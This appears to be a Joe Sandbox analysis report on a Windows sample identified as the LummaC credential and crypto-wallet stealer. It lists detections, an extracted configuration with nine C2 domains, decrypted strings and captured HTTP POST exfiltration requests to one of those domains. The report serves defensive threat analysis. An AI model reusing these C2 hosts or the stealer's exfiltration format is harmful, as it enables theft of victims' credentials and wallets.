Edit tour

Windows Analysis Report
qrLdMv1QXG.exe

Overview

General Information

Sample name:	qrLdMv1QXG.exe renamed because original name is a hash value
Original sample name:	7e4a8865ea7cf91c86ba9ba1711da71c.exe
Analysis ID:	1429205
MD5:	7e4a8865ea7cf91c86ba9ba1711da71c
SHA1:	2da3cb003e2eeffec21b503e8df6f85a252fac07
SHA256:	58514c9f457ef7389dea754163672f1b822fe211dfaf24cab313049cb3bd0f60
Tags:	32exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

qrLdMv1QXG.exe (PID: 2504 cmdline: "C:\Users\user\Desktop\qrLdMv1QXG.exe" MD5: 7E4A8865EA7CF91C86BA9BA1711DA71C)

WerFault.exe (PID: 4280 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1520 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 2228 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1656 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2347953549.0000000001CDE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x16c8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: qrLdMv1QXG.exe PID: 2504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: qrLdMv1QXG.exe PID: 2504	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.qrLdMv1QXG.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Multi AV Scanner detection for domain / URL

Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%			Perma Link
Source: https://strollheavengwu.shop/api	Virustotal: Detection: 10%			Perma Link

Multi AV Scanner detection for submitted file

Source: qrLdMv1QXG.exe	ReversingLabs: Detection: 39%
Source: qrLdMv1QXG.exe	Virustotal: Detection: 43%			Perma Link

Machine Learning detection for sample

Source: qrLdMv1QXG.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: strollheavengwu.shop
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: P6Mk0M--key

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Code function: 0_2_004162D6 CryptUnprotectData,

0_2_004162D6

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Unpacked PE file: 0.2.qrLdMv1QXG.exe.400000.0.unpack

Source: qrLdMv1QXG.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49712 version: TLS 1.2

Source:

Binary string: C:\gepiw62\xapukepid\moyivovozihub23\dijixo\88\narecer.pdb source: qrLdMv1QXG.exe

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B3B0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_00438879
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_00435B8B
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0041CC60
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041CC60
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AE80
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0041AFE0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041AFE0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B060
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, ebx	0_2_00426097
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_00426097
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0040D160
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_0041210C
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0041B1E0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp ecx	0_2_0043A182
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp ecx	0_2_0043A190
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222E7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222ED
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp eax	0_2_00439389
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp eax	0_2_00422422
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_004134B2
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movzx edi, bl	0_2_0043A5D0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245D4
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_00424678
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245A8
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B6A0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041B6B0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_004088F0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B9D0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_0043B9D0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00417A65
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp eax	0_2_00417A1A
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then inc eax	0_2_0041DB22
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_00407C70
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_00407C70
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00437D40
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AD70
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ebx, ecx	0_2_00410D77
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_00410D77
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ebx, eax	0_2_00402D10
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00412E93
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then inc eax	0_2_00438F6A
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then inc ebx	0_2_00414FC0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00431F80
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_03672373
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp ecx	0_2_0369A3E9
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp ecx	0_2_0369A3F7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0366D3C7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0367B247
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0367B247
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then inc ebx	0_2_03675227
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, ebx	0_2_036862FE
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_036862FE
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0369B2C7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_036921E7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then inc eax	0_2_036991D1
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0369B0E7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_036730FA
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_03673719
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_036707CC
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0369B617
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp eax	0_2_03682689
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0368254E
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_03682554
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp eax	0_2_036995F0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0367B447
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_03668B57
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_03697BFF
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_03697BFF
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then inc eax	0_2_0367DA12
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_03698AE0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_0368480F
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0369B907
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0367B917
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_0367591D
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_0367591D
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_0368483B
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movzx edi, bl	0_2_0369A837
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_036848DF
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ebx, eax	0_2_03662F77
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ebx, ecx	0_2_03670FDE
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_03670FDE
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0369AFD7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_03697FA7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0367CEC7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0367CEC7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_03667ED7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_03667ED7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_03695DF2
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0369BC37
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_0369BC37
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_03677CCC
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 4x nop then jmp eax	0_2_03677C81

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: strollheavengwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12833Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15075Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20565Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5440Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1389Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 573970Host: strollheavengwu.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: strollheavengwu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop

Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: qrLdMv1QXG.exe, 00000000.00000003.2064406163.00000000042AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
